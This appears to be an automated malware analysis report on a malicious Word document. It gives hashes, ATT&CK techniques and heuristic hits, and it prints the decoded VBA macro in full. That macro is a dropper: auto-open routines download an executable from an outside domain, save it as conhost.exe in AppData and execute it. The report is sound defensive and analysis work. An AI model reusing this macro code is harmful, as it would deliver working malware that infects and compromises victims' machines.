Office (OLE) malware analysis — malicious · c5710f22915e5d96

MALICIOUS

Office (OLE)

41.5 KB Created: 2014-03-26 17:34:00 Authoring application: Microsoft Office Word First seen: 2015-06-09

MD5: 4f5856a0ff9f6f4e3a127ca3c44b7949 SHA-1: 5b62c7db8ba608538213fd33438685b35281dc0d SHA-256: c5710f22915e5d96422fcc670eb98c09325c3b092fa32515163395a9234d5285

254 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains VBA macros that utilize the URLDownloadToFile API to download an executable file from 'brightpslamsglobal.com/satf/satf.exe'. The downloaded file is then saved as 'conhost.exe' in the user's AppData directory and subsequently executed using the Shell function. This indicates a downloader or droppper functionality.

Heuristics 10

Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD

Reference to URLDownloadToFile API
VBA macros detected medium 6 related findings OLE_VBA_MACROS

Document contains VBA macro code
Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA
Matched line in script
```
Shell Environ("APPDATA") & "\conhost.exe"
```
URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD

URLDownloadToFile in VBA
Matched line in script
```
                Alias "URLDownloadToFileA" (ByVal pCaller As Long, _
```
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub AutoOpen()
```
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Sub Workbook_Open()
```
Auto_Open macro low OLE_VBA_AUTO

Auto_Open macro
Matched line in script
```
Sub Auto_Open()
```
Environ() call (env variable access) low OLE_VBA_ENVIRON

Environ() call (env variable access)
Matched line in script
```
Mordedor 0, "brightpslamsglobal.com/satf/satf.exe", Environ("APPDATA") & "\conhost.exe", 0, 0
```
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/bibliographyReferenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/customXmlReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1118 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	1118 bytes
SHA-256: `3f6d85223d3c2e5064e04ef6744da3985735b52a2f7b106a532c57acad32cc5f`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Avira" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Declare Function Mordedor _ Lib "urlmon" _ Alias "URLDownloadToFileA" (ByVal pCaller As Long, _ ByVal szURL As String, _ ByVal szFileName As String, _ ByVal dwReserved As Long, _ ByVal lpfnCB As Long) As Long Sub Auto_Open() OberonSoftware End Sub Sub OberonSoftware() On Error Resume Next Mordedor 0, "brightpslamsglobal.com/satf/satf.exe", Environ("APPDATA") & "\conhost.exe", 0, 0 Shell Environ("APPDATA") & "\conhost.exe" End Sub Sub AutoOpen() Auto_Open End Sub Sub Workbook_Open() Auto_Open End Sub Sub Rubensete() Hola Puto End Sub Attribute VB_Name = "Módulo1"

SHA-256: 3f6d85223d3c2e5064e04ef6744da3985735b52a2f7b106a532c57acad32cc5f

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "Avira"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Declare Function Mordedor _
                Lib "urlmon" _
                Alias "URLDownloadToFileA" (ByVal pCaller As Long, _
                                            ByVal szURL As String, _
                                            ByVal szFileName As String, _
                                            ByVal dwReserved As Long, _
                                            ByVal lpfnCB As Long) As Long

Sub Auto_Open()
    OberonSoftware
End Sub

Sub OberonSoftware()
On Error Resume Next

Mordedor 0, "brightpslamsglobal.com/satf/satf.exe", Environ("APPDATA") & "\conhost.exe", 0, 0
Shell Environ("APPDATA") & "\conhost.exe"

End Sub

Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub

Sub Rubensete()
 Hola Puto
End Sub


Attribute VB_Name = "Módulo1"

Open this report in the interactive analyzer, or submit your own file for analysis.